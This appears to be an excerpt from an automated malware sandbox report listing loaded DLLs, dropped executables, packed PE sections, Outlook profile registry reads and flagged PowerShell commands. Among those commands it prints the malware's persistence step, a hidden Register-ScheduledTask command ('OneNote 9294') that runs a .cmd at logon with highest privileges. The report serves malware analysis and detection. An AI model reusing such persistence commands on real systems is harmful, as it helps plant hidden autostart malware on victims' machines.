Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1010788001\83d4c6bf2a.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1010788001\83d4c6bf2a.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1010788001\83d4c6bf2a.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1010788001\83d4c6bf2a.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1010788001\83d4c6bf2a.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1010788001\83d4c6bf2a.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1010788001\83d4c6bf2a.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: Google Drive.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1803264 > 1048576

Source: file.exe

Static PE information: Raw size of vhfoedue is bigger than: 0x100000 < 0x19e600

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2082780680.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2082780680.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.560000.0.unpack :EW;.rsrc:W;.idata :W; :EW;vhfoedue:EW;uyqyjagh:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;vhfoedue:EW;uyqyjagh:EW;.taggant:EW;
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Unpacked PE file: 16.2.GCGHCBKFCF.exe.870000.0.unpack :EW;.rsrc:W;.idata :W; :EW;dmpinvwn:EW;kefdngyk:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;dmpinvwn:EW;kefdngyk:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 17.2.skotes.exe.d30000.0.unpack :EW;.rsrc:W;.idata :W; :EW;dmpinvwn:EW;kefdngyk:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;dmpinvwn:EW;kefdngyk:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 18.2.skotes.exe.d30000.0.unpack :EW;.rsrc:W;.idata :W; :EW;dmpinvwn:EW;kefdngyk:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;dmpinvwn:EW;kefdngyk:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 19.2.skotes.exe.d30000.0.unpack :EW;.rsrc:W;.idata :W; :EW;dmpinvwn:EW;kefdngyk:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;dmpinvwn:EW;kefdngyk:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1010788001\83d4c6bf2a.exe	Unpacked PE file: 64.2.83d4c6bf2a.exe.f00000.0.unpack :EW;.rsrc:W;.idata :W; :EW;rtjzuflj:EW;bnlzohot:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;rtjzuflj:EW;bnlzohot:EW;.taggant:EW;

Suspicious powershell command line found

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\user\AppData\Local\Temp\1010782021\Spreadtest')
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'OneNote 9294' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\AppData\Roaming\Network9294Man.cmd') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\user\AppData\Roaming\Network9294Man')
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\user\AppData\Local\Temp\1010782021\Spreadtest')
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'OneNote 9294' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\AppData\Roaming\Network9294Man.cmd') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\user\AppData\Roaming\Network9294Man')

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CB33480 ?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ,GetCurrentProcess,GetProcessTimes,LoadLibraryW,GetProcAddress,__Init_thread_footer,__aulldiv,FreeLibrary,GetSystemTimeAsFileTime,

0_2_6CB33480

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: random[2].exe.19.dr	Static PE information: real checksum: 0xee1cb should be: 0x15b75
Source: random[1].exe1.19.dr	Static PE information: real checksum: 0x1cef16 should be: 0x1cef4b
Source: random[1].exe0.19.dr	Static PE information: real checksum: 0x443607 should be: 0x43b44e
Source: 5d1390e5c6.exe.19.dr	Static PE information: real checksum: 0x1cef16 should be: 0x1cef4b
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x1bf888 should be: 0x1c6f19
Source: 0474b55419.exe.19.dr	Static PE information: real checksum: 0x1bf888 should be: 0x1c6f19
Source: build.exe.62.dr	Static PE information: real checksum: 0x0 should be: 0x2400b8
Source: GCGHCBKFCF.exe.0.dr	Static PE information: real checksum: 0x1dc1a9 should be: 0x1db06e
Source: 83d4c6bf2a.exe.19.dr	Static PE information: real checksum: 0x443607 should be: 0x43b44e
Source: c1444066db.exe.19.dr	Static PE information: real checksum: 0x2b3850 should be: 0x2b23fa
Source: skotes.exe.16.dr	Static PE information: real checksum: 0x1dc1a9 should be: 0x1db06e
Source: random[2].exe0.19.dr	Static PE information: real checksum: 0x2b3850 should be: 0x2b23fa
Source: ddd4dd05d2.exe.19.dr	Static PE information: real checksum: 0x44e3b2 should be: 0x45174d
Source: file.exe	Static PE information: real checksum: 0x1bf888 should be: 0x1c6f19
Source: random[1].exe.19.dr	Static PE information: real checksum: 0x44e3b2 should be: 0x45174d
Source: 1f49a13412.exe.19.dr	Static PE information: real checksum: 0xee1cb should be: 0x15b75

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: vhfoedue
Source: file.exe	Static PE information: section name: uyqyjagh
Source: file.exe	Static PE information: section name: .taggant
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
